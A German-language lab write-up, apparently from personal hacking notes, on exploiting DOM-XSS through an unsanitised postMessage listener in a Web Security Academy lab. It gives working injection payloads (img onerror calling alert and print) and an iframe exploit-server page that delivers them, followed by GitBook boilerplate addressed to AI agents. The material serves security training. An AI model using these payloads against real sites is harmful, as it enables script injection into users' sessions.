> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/xss-dom-via-web-messages.md).

# DOM-XSS über Web Messages

### DOM-XSS mit Webnachrichten

Nutze eine auf Webnachrichten basierende XSS-basierte DOM-Schwachstelle (`postMessage`) um die `print()` Funktion auf der Zielseite aufzurufen, indem ein Load über den Exploit-Server gesendet wird.

#### Beobachtetes Verhalten (Quellcode)

Die Seite lauscht auf gepostete Nachrichten und fügt den empfangenen Inhalt direkt in `#ads` das Element ohne Bereinigung ein:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Das bedeutet, dass alles, `e.data` was empfangen wird, als HTML in `#ads` gerendert wird, wodurch sich bei einer kontrollierten Nachricht eines Angreifers eine DOM-XSS eröffnet.

<figure><img src="/files/8bf7a65acd686f83da515123908063af2786710b" alt=""><figcaption></figcaption></figure>

#### Interaktive Tests (Konsole)

Beispiele für Nachrichten, die von der Konsole des übergeordneten Fensters / d

* einfache Textnachricht

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="/files/cdf1cf65c8266f95cab88a61ff9574ac6eda16dd" alt=""><figcaption></figcaption></figure>

* HTML-Injektion

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/9279e19034c5ec43750b0b8ccc9d256318916c1d" alt="" width="490"><figcaption></figcaption></figure>

* Alert-Test (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/12b8533b10e05e1abaea8cfcf854689760a000c2" alt=""><figcaption></figcaption></figure>

* auslösen `print()` (Lab-Linse)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/e3d8bc47d3339d26e808712b10cf284e4b4be6be" alt=""><figcaption></figcaption></figure>

#### Iframe-Exploit auf dem Exploit-Server

Beispiel für das HTML, das auf deinem Server gehostet wird, die Zielseite in ein iframe lädt und dann die Nutzlast beim Laden des Iframes sendet:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="/files/40929c999a64cabf96dd92982207f631633d1b99" alt=""><figcaption></figcaption></figure>

Um auszulösen `print()` auf der Zielseite, sende die Nutzlast mit `img` Element angeben mit `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/970450f2ed5ae533fc2d135911024d8d08602dd2" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
